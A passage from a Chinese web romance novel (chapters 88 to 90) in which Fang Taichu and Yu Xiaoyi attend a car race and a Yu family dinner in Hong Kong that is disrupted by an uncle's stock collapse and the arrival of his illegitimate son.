“舍卒保车吧爷爷。”余萧弋直视余绍鸿的眼睛,“再不做决断来不及了,我是为了余家好。欧洲的项目合作基础本就不在我哥的婚姻,杨家那个女人,根本配不上我哥。” “钱和项目倒是小事,主要他……” 余萧弋心脏重重一沉,不好的预感瞬间蔓延开来,看来还有隐情。 余绍鸿没有继续说下去。 余萧弋看得出他也很犹豫。 两人就此事边喝茶边聊了一个多小时,余绍鸿还是没有明确改变原来的想法。 临出门时,余萧弋才提醒,“爷爷,最近一定嘱咐二叔低调行事,千万别被传媒抓住把柄,既然事情做了,我们余家就绝对不能受到牵连了。” 余绍鸿点点头。 但他的提醒已经晚了。 因为还没过两个小时,他和小初也才吃完饭赶到阿骢的赛车场地,就有大神在二级市场投资论坛将孚邦医疗这只股票的前世今生来了个大起底。 并披露了很多外界不可能得知的内幕信息,虽然大神的行文逻辑还是很清晰的,但文章涉及的关键词林林总总太多,实在令人触目惊心,一时很难消化。 最贴心的是,对方还在文章结尾对孚邦前段时间刚获得的那两个专利进行了科普,简单来说,就是那玩意跟公司主营产品的技术升级没有任何关联,纯粹是用来操纵市场的烟幕弹。 小初回过神来,有些无语:“不是,Theo余,你上午怎么不跟我说孚邦的实际控制人是谁?我要真不小心跟风买了股票下去,现在岂不是亏惨了?” 余萧弋掩唇咳了两声,把她拥入怀中,眨眨眼,“所以我才先问你有没有证券账号啊。” “……” “现在明白什么叫屠夫式暴跌了吗?” 小初咬牙,“受教了小余总。” 余萧弋弯唇,“不客气。” 两人正说着话,阿骢的赛车刚好漂移过了小丑弯,将一直压在他前面的车狠狠甩到了后面。然后那辆车也不知发生了什么情况,很快就和另外一辆车激烈地碰撞到了一起,两人双双被淘汰出了比赛。 现场的欢呼声震耳欲聋。 救援队立刻奔上前去,远远看着,刚在空中旋转了几圈又重重落下去的那辆车大概率是报废了,另外一辆撞到广告立柱上的情况要好一点但也没好到哪里去。 不幸中的万幸,两个车手貌似状况还行,至少都是自己走下车的。 小初心有余悸,感叹道,“难怪那么多人痴迷极限运动,这确实让人肾上腺素飙升啊。” 铭仔在一旁接过话去,“阿骢不愧是上一届的冠军啊,遇强则强,今天大概率卫冕了!” 池咏珊说,“今天他回去准要被他那个在交通署的叔叔骂死了。” 陈嘉言大笑,“管他呢,人生不就活那几个瞬间吗?” 余萧弋点点头,“的确。” 小初不以为然,“纯粹胡说。” 余萧弋有些好奇,“你不觉得吗?” 小初扬了扬唇角,“我要活的是永恒,每个瞬间都精彩。” “……” 铭仔歪头过来,“方太初,以你的个性,肯定喜欢极限运动吧。说说看,你都喜欢什么?让我猜猜啊,高空跳伞?” 小初摇头,“早说了你眼拙。” “速降滑雪?” 小初还是摇头。 “我知道了,一定是自由潜水!这个酷,回头让Theo带你去巴哈马的迪恩斯蓝洞体验一次,那个潜点被白色沙滩包围着,海特别蓝,跟天堂似的。” 小初摆摆手,“我还是更迷恋人间。” 铭仔有些失望,“那你平时都喜欢玩什么?Theo运动那么好,你别浪费这么好的教练啊。” “No no no,我太珍贵了,还是少做危险的事比较好。” 大家都嘁了一声。 小初转向余萧弋,“所以铭仔说那三个项目,你都玩过?” “会玩一点点,但不至于痴迷,到了那个场合,都能试试,运动都是通的,玩几次就会了,反正又不做专业运动员。”余萧弋感叹于她的推理能力,笑着点点头。 “以后不许你玩了。”小初没来由一阵心慌,然后又有点不好意思,“我是说,可不可以尽量不玩。” “好,答应你,只要跟你在一起的一天,我都不碰极限运动了。”风有点大,余萧弋用风衣将她紧紧裹住,“以后我坐车都只请阿骢当司机,你看他这车技,紧急避险能力多强。” 小初转过头去,刚好看见阿骢完美躲过一辆失控的车。 他最后还真卫冕了冠军。 小初这才知道他的名字叫麦俊骢。 好港的一个名字。 很快,关于余巍巍的各种负面新闻就登上了各个平台的头版头条,事态逐渐不可控制。 截止到下午收盘,孚邦医疗的市值蒸发50.67%,稳居下半年跌幅榜第一。 晚上去余宅吃饭的路上小初才想起来,“孚邦今天这个转让协议没签成吧?” 余萧弋点点头。 “那你二叔岂不是要崩溃了。” “好奇的话,你可以待会自己看。” 小初意外,“他还会来?” “大概率。” 小初还有一件事不明白,“所以,今天那位大神到底是谁?内情了解得这么详细,连你二叔之前可能涉及权钱交易都知道,不会是你们内部人吧?” 余萧弋斜睨她一眼,“你的问题太多了,小姐。” 小初捏住他的耳朵,“你敢不耐烦?” 余萧弋笑,顺势俯身在她的唇上亲了亲,“不敢。” “……”小初抬头,直直看向他在夜色中无比深邃和动人的眼睛,突然发现,在这场只属于她和他的电影里,她早已入戏太深。 还是个港风电影。 所以有些话真的不能说得太早,谁能想到就在今年夏天,她还信誓旦旦说自己对港风无感,更不会爱上那个氛围里长大的男孩呢? 余萧弋想起件事来,“看天气预报说,北京明天有雪,还是今年冬天第一场雪。” 小初点头,“嗯。” “记得要穿厚一点的衣服,千万别感冒了。” 小初突然问,“余萧弋,你觉不觉得这里和北京,是两个世界?” “没觉得,你要说这里和巴哈马是两个世界我还信。”他笑,“我早吃了你太多口水,变成半个北京人了。” 顿了顿他又说:“或许还不止……” “你给我闭嘴。”小初一把用掌心覆住他的唇,呼吸在夜风中凌乱着,“再胡说我揍你了啊。” 如果每个人都是一个小小的世界,她自然早已将自己完全打开,把最柔软脆弱和不能告人的一面展示给他看过,任他进来,亲吻和感受了她的每一寸了。 确实没有严格意义上的界限了。 而且无论哪个方面,他们都如此完美地契合,契合到连她自己都觉得荒谬。 不想电影散场。 89.第 89 章 车子一路上坡,在一片绿荫蔽日的深邃树林里走了很久,才在半山腰处一栋白色的欧式建筑前停下来。 下了车,小初第一时间并没有往房子里走,而是转过身去远眺了一下海湾另一侧连绵的山以及山下辽阔的海。 好美。 而余宅,就坐落在这样的山与海之间,占尽优越的地理位置和优美的自然风光,一路上来,每处景色都让人心旷神怡,流连忘返,除了赞叹,她实在不知道该说些什么。 想起前段时间她还大言不惭跟人家余珺彦说,区区一个余宅,白送她还未必入得了她的眼呢……而此刻她只想穿越回去,无论用什么方法,都要把当时的她给毒哑。 这也太入眼了。 余萧弋顺着她的视线向下看了看,又将目光落在她脸上,疑惑了半晌才试探道:“喜欢?” 小初瞪他一眼,“废话。” “真的?”余萧弋展颜,心情莫名变得愉快起来,眉间都是促狭之意,“比白加道那边还喜欢?” “废话就不要连篇了,好吧。”小初也笑出来,“这边肯定要贵多了吧?” “肯定啊,爷爷七十年代入手这块地皮的时候,我爸还没出生呢,你自己算算,它现在值多少钱。” 小初赞叹:“爷爷太慧眼如炬了。” 余萧弋戳了戳她的额头,“他又不在这,你话说得再好听他又听不见,不如留着一会儿进去再说。有这个时间,你夸夸我。” 小初不解:“夸你什么?” “夸我命好,生在这样的人家,可以几辈子都很发财,刚好契合方小姐你对爱情和人生的终极理解。” 小初睨他,“Theo余你到底哪里有问题?人家都怕女朋友虚荣,到你这怎么反过来了,你都不怕我哪天拿了你的钱就不要你的人了吗?”她也学他,戳了戳他的额头,“真心提醒你,我这人其实挺坏的,喜欢你时怎样都好,哪天不喜欢了,看都不会再看你一眼的。” 余萧弋愣了愣,继而弯起眼角,“所以,我巴不得你虚荣呢,毕竟,人的魅力可能会消失,钱永远不会。” 小初笑,“就那么笃定自己永远有钱吗?” 余萧弋郑重其事:“不笃定,但我会尽力。” “傻瓜。”小初乐不可支,“你放心好了,我们家一家子都是情种,选对象从来只看人和感觉的。我妈当年顶着那样的美貌都嫁了穷小子,更何况今天比她更有选择权的我?所以不用给自己那么大压力,比起你有钱,我更希望你健康,开心,可以一直陪着我,等我们老了,还可以像这样漫无目的地聊天。” 余萧弋有些动容,又很快反应过来:“我都不知道我是该开心还是难过了。本来我还觉得我挺有胜算的,结果方小姐你突然不爱钱变情种了。” 小初快被他笑死,无意识地勾着他的手指,轻轻地摇着,“说真的,在知道我是谁之前,你就真的没有怀疑过我的出身吗?” 余萧弋反问她:“那你呢?” 小初认真想了想,忽而一笑,歪头看他,“你怎么自己不思考,总想着抄别人的?” 余萧弋温柔浅笑:“这个问题确实难答啊。我说我一点没多想,就是在质疑你的气质,我说我从一开始就知道,又显得我太不纯粹。”他笑,“只能说,后面回头往前看,才发现很多东西都是有迹可循的。” 小初有些意外。 意外的部分在于,他的答案竟然跟她的想法如此高度重合。其实当初她对他也是一样的,尽管他坐经济舱,开普通车,说话做事也从来不提金钱二字,但一个人浸入骨髓的气质和教养是骗不了人的。 很多东西,确实是有迹可循的。 只是她最开始心思只在他这个人身上,哪怕得知他姓余,也从未想过他姓的是这个余,更没想过,她有天会站在这里,从这个视角,重新看一遍和印象中完全不一样的港岛。 这里太安静了,像是一座与世隔绝的城堡,被名家之手嵌在了某幅画里。 “怎么样,我的答案你还满意吗?” 小初挑眉看他一眼,“还行吧。” 他们来的时间不早不晚,太阳的余晖正越过山顶斜照在海面上,但就这么说会话的功夫,光线已经渐渐暗下去了。 院子里的空地上已经停了好几辆车。 余萧弋从车上抱下礼品袋,“我们进去吧。” “好。” 两人正待转身,余珺彦的车却刚好这时从坡下驶了上来,他的车马力足,底盘低,上坡时无比迅猛,停车的姿态却极为优雅,的确是……一辆好车。 “二位,怎么还没进去?”他下车,锁车门,一整套动作行云流水,深邃俊美五官在夜色降临前的薄暮中,甚至有种蛊惑的味道。 小初撇了撇嘴。 余萧弋投了个淡淡的眼神过去,“正要进去。”而后又意味不明地加了句,“哥今天状态不错,容光焕发。” 余珺彦做了个伸手的动作,示意大家一起往里走,一边走一边说道,“节前最后一个工作日,还不要放松放松吗?” 然后才对小初说:“方太初,欢迎你来家里做客。” 小初不可无不可的,问他:“杨小姐怎么没一块来?” “她忙。”余珺彦深深看她一眼,忽而一笑,“怎么样,还看得过眼吗?” 他在说余宅,也在逗她玩。 小初心头一跳,下意识看了眼余萧弋,才轻咳道,“我看不看得过眼有什么重要,你自己喜欢不就得了。杨小姐美艳无双,和你配极了。” 余珺彦跟余萧弋说:“Theo你女朋友骂人,你也不管管?” 余萧弋不明所以,却也隐约听出了他们俩在打哑谜,说他不知道的秘密,突然很堵心,没好气回道,“就是很配,虽然哥你和顶流男星比还差了点,但好在哥你有钱啊,杨敏之跟别人都是逢场作戏,最终肯定还是会回归家庭的。” 小初笑出声来。 余珺彦目光微凉,“我唔中意佢,记牢咗未?” “Who cares?” 三人一进门,女佣就朝里面喊到:“大少爷和二少爷还有方小姐到了。” 立刻有人迎出来。 都是些在仔仔生日会上就已经接触过的人,小初也没太紧张,她只是有些讶异,怎么他们家佣人都这么灵通,不用介绍就已经知道她是谁。 捕捉到她神色,余珺彦立刻小声说道:“方小姐最近也算常驻娱乐版的风云人物,她们认识你有什么奇怪?” 小初呼吸一滞,这家伙的报复心真够强的。 余萧弋不动声色揽住小初肩膀,声音极冷:“余珺彦,注意你的分寸。” 余珺彦耸了耸肩,没应声。 和外面的花园相得益彰,余宅内部也美轮美奂,从墙上的名画到各种古董家具,无不彰显着主人的优雅品味。 客厅中间一棵好大的圣诞树,天还没黑,上面的暖黄色灯串已经开始闪烁,节日的喜庆氛围弥漫得到处都是。 余芃芃最小的那个孩子正由她的外国老公陪着玩滑板车,其余几个大点的孩子则窝在沙发上看着电视,房间里笑闹声不断,本来略显沉闷和庄重的装修格调,似乎都因此重新焕发了生机。 余薛素心今天打扮得格外雍容华贵,笑容更是无懈可击,“方小姐,欢迎你来家里做客,今天难得聚得齐,一定多玩会。” 又问两个孙,“你们一块回来的?” 余珺彦答:“没,他们比我先到。” 余芃芃笑说:“那是妈没看见,人家小情侣都手拖手站在院子里聊了好一会天了,不知有多甜蜜,只是我们不好打扰,都装作没看见罢了。” 小初忽地一下红了脸,赶紧将怀里的纸袋递了过去,说第一次来家里做客也不知带点什么合适,就和Theo一块挑了一支口味还不错的自然酒过来,应该挺清新易饮的,待会大家可以一块尝尝。 余薛素心叫人接了过去,亲切地拉过她的手,说她太客气,问她几天不见怎么就瘦了一大圈。又说心疼她读书太辛苦,科学家就留给别人去做好了,他们家的女孩子,还是要以保养好自己为第一位。 都是些浮于表面的客气话,小初也没当真,只是乖巧笑笑。 旁边的余萧弋却听得汗都快下来了,抗议道:“奶奶,人家现在的女孩子,无论学业还是事业都挺力争上游的,你别拿你们上个世纪的女性规范来做开场白好不好。” “Theo,好好跟奶奶说话。”萧文然递过来一个警告的眼神,下一秒看向小初时已切换成春风模式,“你们先坐下陪奶奶聊会天,一会儿人到齐了我们就开饭。今天假期前最后一个工作日,估计有点堵车。” 小初点头。 她这才注意到,客厅里还没有任何余家男人的身影,也不知今天余巍巍这件事会引起怎样山呼海啸的效应,今晚还能不能平稳度过。 只是这家人涵养工夫实在太好,家里发生这么大事,竟仍该聚会聚会,该宴客宴客,面上笑容不减,说话滴水不漏,实在令人叹服。 一行人向更私密一点的小会客厅走去,一坐下,就有佣人上了新的茶水和点心水果。 余薛素心笑,“不是奶奶想做封建家长,实在是不想你们小辈活得太累,你看你两个姑姑就明白我苦心,大姑姑按部就班结婚生子,现在尽享家庭之乐,你小姑姑呢,孤身一人,天天事业事业,结果又怎么样,加班到现在还没回家。” 余萧弋说:“做酒店的越逢节假日生意越好你又不是不知,再说,你怎么知道小姑没有享受单身的快乐,至少人家不用早起准备一家人的饭。” 正说着,那个玩滑板车的小男孩不知撞到了哪里,大声哭喊起来,一直叫,“妈咪。” 余芃芃只得跑过去。 一行人都笑起来。 余萧弋眨眨眼,“小姑姑不回家,就是因为家里太吵了。” “胡说。”余薛素心笑骂,“你们小时候都在这长大,也没见她烦死,反而回来就把你们抱过去玩。” 然后她又叹口气,“无论男女单身久了,脾气都会逐渐古怪,心也越来越硬,看见柔软的婴儿,也生不出怜爱的心情了,只想溜之大吉。” 余珺彦说:“奶奶别看我,我小时候可没被姑姑那么喜欢过。” 余芃芃抱着儿子过来,瞪他一眼,“好没良心的话,只是你出生的太早,我和你小姑姑都才十几岁,正是恨不得呼朋唤友天天往出跑的年纪,谁耐烦照顾一个只会哭闹制造排泄物的婴儿?你换现在试试。”她指了指怀里儿子的眼睛,“有没发现Liam和你很像?现在一看见他,我就想起你小时候,每次也是从那个楼梯颤颤巍巍地跑下来。” 小初的视线不经意从余珺彦脸上滑过,发现他怔忡了一下,但很快,又自嘲似的笑了。 那个小男孩和他一样,也有双灰蓝色的深邃瞳孔。 她想起他说,大姑姑小时候骂他,看着让人害怕,像一只养不熟的猫。 现在她自己生了猫一样的儿子,蓝色瞳孔就变成了可爱的象征,全世界与之相像的东西,终于拥有被爱屋及乌的资格,这怎么能不是一种讽刺呢? 余薛素心问余珺彦:“敏之在忙什么?” 余珺彦笑得纯良无辜:“忙着力争上游呢,今晚澳门有电视节,请她过去做嘉宾。” 余薛素心眼皮跳了跳,没再接着往下说。 大家又说说笑笑了好一会儿,家里男人们才陆陆续续到家,令小初意外的是,余淙淙竟也带了女伴回来,女孩子一身棕色皮肤,笑起来眉眼弯弯牙齿洁白,很有感染力。 他介绍她名字叫Linda,是个模特和时尚博主。 别的不说,两人的气质和调性看上去还是蛮配的。余淙淙一副年近四十终于遇到真爱了的甜蜜模样,说话时目光就没离开过女朋友的脸,跟上次醉醺醺在街头吻朱慧雯的样子,判若两人。 余薛素心很快就安排开饭。 余韬韬喊余萧弋和他一块上楼去扶太奶奶,却被萧文然叫住,说她有几句话要单独和儿子说。 余珺彦见状立刻很有眼色地接话过去,说他和大伯一块去好了。没过三分钟,小客厅里就只剩下了萧文然母子和小初。 小初有些尴尬,“那我也先到餐厅等吧。” “没事,你坐你的。”萧文然按住她的手,下一秒就压低声音直直看向余萧弋,“你还没说,今天陈九洲递上去的那份报告是怎么回事?” 小初这才了然,原来是公司的事。 余萧弋的目光在小初脸上短暂逗留了两秒,才转向他妈妈,神情有些散漫,“没怎么回事,就有点不认同那个轻率的投资决定,我完全是从公司利益出发,并没有想太多。” 说完又跟小初解释了句:“我们说的是孚邦协议转让的事。” 小初愣了愣,很快反应过来,他们是在说,是他打报告阻止了这次交易?他今天早晨说的屠夫式暴跌也是因为这个?他是怎么笃定他一定会成功的? 萧文然也问:“二级市场论坛里那些帖子……” 余萧弋否认,“与我无关,研究股票不是我专业。” “我只怕你二叔把这笔账记到你头上。” “怎么会?”余萧弋不以为然,“陈九洲那份报告根本没有递给整个董事会,除非爷爷出卖我,否则,他联想不到我的。只是……爷爷谁都没告诉,却偏告诉了你,是不是点你呢?觉得我是被你授意的?” “所以下次有想法先跟父母沟通,可以吗?”萧文然瞪他一眼,神情渐渐凝重,“那帖子到底是谁发的,对方实在知道太多,看着像是自己人。” 小初心惊。仿佛眼前的宁静也只是暴风雨来临前的预兆,热带气旋已经在不知不觉中生成,很快就要席卷一切。 “我唔知。”余萧弋耸耸肩,“二叔想知道,叫他去告对方好了,警察总能帮他查明真相。只不过,若对方披露的都是真实信息,他的官司也很难赢吧,他最多只能找人把那个人神不知鬼不觉的……” 余萧弋对着自己的脖子,做了个手起刀落的动作。 小初瞳孔骤然一缩,视线在他喉咙处凝住。 萧文然思索了一会儿,才问:“陈九洲可靠吗?” 余萧弋突然轻笑出声,有些不可思议,“妈,你在怕什么?怕二叔借机弄死我?” “胡说什么!”萧文然轻喝一声。 “既然如此。”余萧弋倾身向前,手肘漫不经心抵在膝盖上,看向萧文的目光却无比认真,“你先下手为强好了。” 佣人过来喊开饭了。 两人对话只能被迫终止。 接下来的时间直至一餐饭接近尾声,小初的心都像被谁扔进了冬天的冰湖里,冷得她发抖。一桌子的珍馐佳肴,她也没尝出来都什么味道,只是机械地吞咽着。 “别害怕,我跟妈开玩笑呢。”余萧弋剥了只虾放在她碗里,轻声安慰道。 小初的眼底仍是深深怀疑,“Theo余,你别骗我。” “不骗你,我保证我会好好的,活到一千岁,老了还能跟你漫无目的地聊天。”他笑意缱绻温柔。 坐在他们对面年龄相仿的余萧盈和余静训见两人亲昵模样,立刻挤眉弄眼地看了看对方。十几岁的少女,本来就爱观察别人谈恋爱,网上的CP真真假假,哪有现实中的真糖吃着甜。 余静训模仿两人也剥了只虾放在了姐姐的餐盘里,余萧盈实在没忍住笑,握着筷子的手一直抖,菜落的到处都是。 两人动静太大,惹得萧文然越过长长的餐桌看向她,眼神里都是警告,“Isla余,吃饭就乖乖吃,吃饱了就带妹妹下去玩,别在餐桌上搞怪。” 余萧盈吐了吐舌头,“知道了女王大人!” 一桌人都笑。 余薛素心说:“算了,难得全家聚在一块好好吃顿饭,随她们怎么开心吧。”说完神色不自觉落寞下来,“也不知仔仔在那边怎么样,能不能吃好东西睡好觉,我听说他们每天都要练舞到后半夜,这么下去身体能吃得消吗?不行,我看我改天还是亲自飞过去一趟……” 余韬韬眼皮一跳,他这个妈也真是的,怎么哪壶不开提哪壶,他昨天才好容易被允许回卧室睡觉,今天可不想再被赶出去了,于是赶紧打断她继续发挥,“妈!小孩子吃吃苦没什么的,练舞就是运动,对身体好得不得了!他昨天还跟我视频了,气色比在家时候还好,你要不信,一会吃了饭我打给他让你亲眼看看。” “好啦,我就感慨一下还不行吗?” 坐在主位上的余老太太听了半天也没听懂大家说的人是谁,于是用上海话问向一旁的余韬韬,“韬,你们在说谁?是说巍巍吗?今天大家都在,怎么就他不在?” 话音一落,餐桌上就静了下来。 余绍鸿轻咳一声,面色还算自然,跟老太太笑道:“妈,他公司事多,还没忙完,叫我们先吃呢。” 余韬韬也哄到:“侬放心好啦奶奶,厨房给他留了菜了,保证他回来就能吃到热的。” “真留了吗?他小时候最喜欢那个避风塘炒蟹,一定留一只给他吃。” “留了的留了的。” 老太太不吭声了。 小初目光投过去,发现余薛素心极其克制地别开了头,肩膀有微微颤抖的痕迹,好半天才平复下来。 气氛瞬时有些沉闷。 只有几个无知无觉的小孩子仿佛在另一个只有快乐的图层,这个问妈妈还能不能喝多半杯可乐,那个苦着一张脸说什么都不肯吃青菜,还有两个大一点的少女声称要减肥,齐齐拒绝了佣人递过来的海胆意大利饭。 她在桌下拉了拉余萧弋的衣角问用眼神询问,能不能先走。 还未等他回答,余绍鸿就隔着餐桌叫住了她名字,“小方太初,你今天选的这支酒很不错,口感很轻盈。” 小初赶紧笑道:“爷爷喜欢就好,我其实不大懂酒,只是在那边尝了下已经开瓶的同款觉得很不错就买了。那个老板说了,自然酒的酿造理念是追求自然发酵,即使是同款酒,因为批次和运输条件不同,口感也很大差别,只能说,我运气不错。” 余绍鸿脸上露出满意神色,用手指点了点她,“还是你最讨爷爷奶奶欢心。” 话音一落,大家就都露出玩味的表情来。 萧文然笑着接话过去:“明明每个都很乖,爷爷偏夸我们,别人要怎么想啊?” 小初心中一动,朝萧文然投过去一个感激的眼神,她不傻,自然看得出,自从她在媒体前大大方方认领了余萧弋,萧文然对她就跟对自己孩子没什么区别了,不然,她刚刚和她儿子谈话时,也不会对她毫不避讳。 她喜欢她的大气和通透,也欣赏她明晃晃爱自己的儿子,同时也对他选的女朋友保持了最大程度的善意和尊重。 余绍鸿大笑,“我讲实话而已,她就是合我脾气嘛。”又问小初,“你那个智能音箱好了没有呢,该不会是哄我开心随口说的吧?” “好了爷爷,我是想哄你开心,可也不敢满嘴跑火车地哄你开心呀。” 她红着脸,看了眼余萧弋,对方会意,立刻跑去客厅帮她把那个音箱拿了过来,并插到了电源上。 通电瞬间,小兔子形状的音箱立刻露出一个笑脸来。 小初说:“爷爷,你试着喊一下,小初小初。” 余绍鸿照做。 小兔子马上回到:“嗯在呢!爷爷今天 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余绍鸿感怀往事,“88年的这首歌,拿过十几个音乐大奖,那一年对我们余家也是至关重要的一年。一转眼,曾跟我并肩作战过的同事朋友都老了,很多甚至已经不在人世了,这世界注定是你们年轻人的了。但若想保持一个家族,或者一个企业的传承,还是要靠所有人齐心协力,我希望你们所有人,都能谨记住这一点,为我们余家这艘大船,保驾护航。” 大家都说好,并一块碰了杯子。 气氛忽然又变得很温馨。 一首《祝福》刚播完,门厅处就传来了什么人和佣人讲话的声音,众人都回过头去,萧文然和余韬韬正准备起身去看,一身狼狈的余巍巍就走进了餐厅。 手里还牵着一个眉目清秀的小男孩。 小初立刻明白,这就是他那个私生子了。这家伙的命是真的不错,虽然本人的品行和长相都很一般,生的几个孩子却是一个比一个好看,甚至还出了余珺彦这么一个货真价实的顶级学霸。 资本的力量果然有改变基因走向的神奇能力。 只是比起半个月前的意气风发,此刻的他看上去显然已经穷途末路了,连眼底都充着血,像个地狱来的罗刹。 不过也能理解,任谁的身家一天内蒸发了十几二十个亿,还能安之若素?但若说可怜,他又怎么可怜得过那些差点被他害得倾家荡产的普通股民? 小初想起在余珺彦家里的那一小段不太愉快的回忆,不自觉往余萧弋身后躲了躲。 “别怕。”他轻声安慰她,“我在呢。” 余薛素心还有余韬韬夫妇以及余蓁蓁都站起了身,每个人脸上的表情都很复杂,却没有一个人开口说话。 余绍鸿更是巍然不动,只是目光苍凉而悲悯,又透着一股不能言说的无能为力。 他也没办法了,尽管他是他儿子,第一个在他身边长大,曾和他亲密无间的儿子。 “麒麒,喊爷爷奶奶。”余巍巍示意小男孩。 小男孩一下子见这么多人,眼神里都是惊恐,不仅不敢说话,反而一直往他爸身后躲。 却被余巍巍一把从背后扯过来,直接甩到余薛素心面前,“快喊人啊!爸爸路上怎么教你的?现在只有爷爷奶奶能救我们了,不然我们一家都得死!” 小男孩哭了起来。 小初的目光不经意掠过斜对面的余珺彦,意外发现他竟全程都没看那两个人,一直在自顾自地夹菜喝酒,神情极静,若不仔细看,根本不会注意到他嘴角那一抹若有似无的笑。 她心下一凛。 “二哥,你这是干嘛?把孩子都吓到了。”余芃芃走上前去,蹲下身把小男孩往怀里搂了搂,“你叫什么名字?别害怕,我是姑姑。” 小男孩这才止住哭声,断断续续地说道:“我叫,叫周佑麒,我五岁半了。” “胡说,你再说一遍你姓什么?”余巍巍发了火。 小男孩害怕极了,直往余芃芃怀里躲,但还是小声说了句,“我姓余,余,余佑麒。” 事情已经再明了不过了,小初猜着,余家的人也应该早就知道这孩子的存在,只是没有大张旗鼓地向全世界宣扬罢了。 可怜的小男孩。 余巍巍说:“爸,妈,这是我和周小姐生的孩子,你们看,他是不是最似我小时候?” 两个老人都叹了口气。 坐在主位的余家老太太慢了几拍,却也看明白了这场伦理剧,颤声道:“这也是我们家的孩子?” 余巍巍鼻涕眼泪糊了一脸,踉跄着走过去,扑通一声跪倒在地,“是的奶奶。” 小初这辈子只在剧院见过这种场面,这会儿简直如芒在背,却又实在进退两难,看都看了,要是现在才突兀地起身想走,岂不是把焦点都吸引到自己身上来了? 她此刻能做的,也只是尽量弱化自己的存在感了。 她偷眼去看,发现另一个外人,余淙淙的女朋友Linda就比她淡定多了,不仅淡定,还看得饶有兴致的,期间还好几次和余淙淙进行眼神交流探讨剧情,连小男孩的哭声都成了两人感情的投名状,显然交换过此等级别的豪门秘辛之后,两人的感情很快就要更上一层楼了。 唉。 小初在心里叹口气。 她还是道德底线太高了。 这不好,她得改。 “爸,你说他也是你儿子?” 众人都没说话,反而是十五岁的余静训先站了起来,目光沉静看向自己的父亲,“你竟背着妈妈在外面生了这么大一个儿子,亏我还一直以为是她变了心,非要离开你!” 饶是余巍巍,都愣了一愣。 大家都把目光投向那个身量高挑,但脸上还带着稚嫩之气的少女,都有点被她大家小姐的初露锋芒震撼到了。 “你知唔知妈妈到现在还为你说好话?还经常叮嘱我们要孝顺爷爷奶奶?” 余巍巍似是有些无颜面对女儿,但还是咬了咬牙,“大人的事,与你小孩子不相干。” “我妈妈带了那么多嫁妆嫁给你,就换来你这样的对待!和我小孩子不相干,若你两个女儿将来也嫁你这样的男人,你也无动于衷吗?” 余静训看了眼还在吃东西的并没有比周佑麒大多少的妹妹,恨铁不成钢,“希希!放下你的叉子!几辈子没吃过这么好吃的东西?” 小女孩吓一跳,扁扁嘴,快哭了。 余静训又叫弟弟,“余静霆,穿衣服,带上妹妹,回外婆家。” 大家都有点目瞪口呆,一时竟谁也没敢说话。 这会儿的她,身上已丝毫不见磕余萧弋和小初CP时的羞涩神态,完完全全像个小大人了。 到最后还是余薛素心开了口,“你这孩子……气性怎么这么大?我们又没说……” “没点气性还配姓余吗?”小女孩目光冷冷,牵过妹妹,又喊管家备车。 临行前还不忘跟她爷爷说:“爷爷你自己考虑,是要他,还是要我们三个,如果要我们三个,我们明天就再来看你。不然,我们也学他把名字改成随母姓算了。” 余蓁蓁眼底滑过一丝欣赏,又刚好对这场闹剧厌烦至极,索性主动提出亲自送孩子们回去,免得二嫂担心。 其他人见状,也都纷纷起了身,各自找借口离开了。 萧文然问余萧弋和小初怎么走,要不要她把司机先给他们用。 余萧弋说不用,他先带小初到园子里散散酒气,晚些时候再麻烦这边的司机送一下他们好了。 萧文然点点头,很快就带着老公和女儿下了山。 好好的一顿家宴,却是潦草结尾。 无端让人觉得很遗憾,连刚刚那首《祝福》,都渲染了伤感的味道。 两人踏进树林,缓缓向山下走去。 透过树木空隙,一弯半圆形的上弦月如影随形,他们走,它也走,他们停,它也停。 不知走了多久,直至他们找到一处视野比较开阔的观景平台,才停下脚步。 目之所及,是一整片波光粼粼的海。 气氛美得不像话。 两人就这样静静看了半晌。 直至小初开口,“Theo余,你为什么要带我参加这场家宴?你是不是早料到了今晚会有事发生?” “嗯。”余萧弋的声音很轻,呼吸间都是淡淡的酒气。 “所以到底为什么?” “因为,我想要你知道,你喜欢的人从小是在什么环境长大的,你应该了解那个最真实的我,不应该被任何虚假的美好所迷惑。”他看向远方的海,没有看她,笑容落寞,“资本的世界,确实肮脏,包括我,也没你想得那么纯粹。” 小初的心像被谁用线扯了一下,丝丝的疼。 “但我逃不开,我有我的使命和责任。” “我懂的。”小初伸手,捧过他的脸,“你只做你认为对的事就好了,比如今天那个报告,就避免了很多无辜的人被资本收割啊。但你也不用对得起所有人,我爸曾教我我一句话,资本家若是生出了良心,会活得很痛苦的。我们只要宏观上把控全局就好了,不触碰法律和道德底线,多纳税,多做慈善,就已经很了不起了。” “真的吗?”余萧弋深深看向她,“你不会因此嫌弃我吗?” “怎么会!”小初弯唇,“你忘了吗?我们将来,是一样的人啊。” 余萧弋终于点点头。 “将来我痛苦的时候,记得来安慰我。” “好,安慰你。” 两人相视一笑。 上弦月,半是皎洁,半是阴影。 这世上,当然没有什么可以做到绝对完美。 90.第 90 章 早晨六点半,方太初已准备出发,她的航班将在两个小时后起飞,并于三小时十五分钟后抵达首都国际机场。 好容易才爬起来的。 没有她爸首肯,她才不信亦方的行政敢自作主张给她订这么早的机票,想惩戒她深夜带男人回家就直说,非美名其曰爸爸妈妈都想和她共进午餐做什么。 虚伪不虚伪。 因着出发时间太早,又有曹旸和梁培风陪同,所以前一天晚上她就和余萧弋说好了的,等她返港再见,谁知,第二天早晨一下楼,他竟还是来了。 不仅来了,还打扮得衣冠楚楚光彩照人的,一见她,别的话还没说,先递上几袋手信,然后才超不经意地左右看了看,“培风怎么还没来?来港生活这么久,竟还没时间观念。” 当然知道他在叫什么劲,小初眯了眯眸子,只装作听不懂,“人家早在下一个路口等着了好吧?还有,家里那几位常年戒糖,你这几大袋的糕点巧克力,恐怕要心血东流。” 余萧弋对这一点倒是浑不在意,“那就让姥姥姥爷拿去送人,尤其那些邻居,最好特别声明是方太初的男朋友亲自挑选的,让大家都赞叹一下你的眼光。” “你还要点脸吗?”小初的眉心虽然努力蹙着,嘴角的笑意却已藏不住,“好啦,我记下了,会试着帮你说说好话的。” 冬至后的第三天,北半球的白昼还没有明显变长的痕迹,天色有些晦暗。 “尤其你爸爸。”余萧弋绕过车尾,煞有介事地在她脸上戳了两个酒窝,“务必要让他明白,和梁培风比,我才是那个和你情投意合的人。” “余萧弋。”小初极力忍着笑,“人生的出场顺序也很重要的,人家方总早二十几年就已经把一颗芳心许出去了,你现在才开始挣扎努力,是不是有点晚了?” “什么意思?”余萧弋漫不经心加重了一点指尖的力量,“谁要他的一颗芳心干什么?” 